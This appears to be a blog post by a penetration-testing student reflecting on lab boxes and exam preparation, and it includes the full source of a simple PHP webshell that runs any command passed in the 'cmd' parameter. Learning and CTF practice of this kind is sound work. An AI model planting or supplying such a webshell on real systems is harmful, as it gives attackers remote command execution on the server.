Quick reflection on last night. For the first few boxes that I’ve worked on I can usually get the first flag in the labs. After that I’m like a shark in the water that smells blood, but I can’t get to that next point. The first box I worked on I was able to pop. After that on each one I’m so close that I can smell it. I’m going to watch some of s1ren’s walkthroughs on youtube for some of the boxes I’ve worked on already. Maybe I need to recall some of the learnings, or I might need to review and refresh my current methodology.
I’ve been meaning to spin up a container to test out this webshell. Possibly a VM, record some notes so I can contribute to making CTFs. Been a thought trapped in my mind for at least a couple months now.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
Can we use WinPEAS or LinPEAS on the exam? My initial instict is yes. Have to go back and review a blog post that I bookmarked.
Time for work, where I’m learning react…
Leave a Reply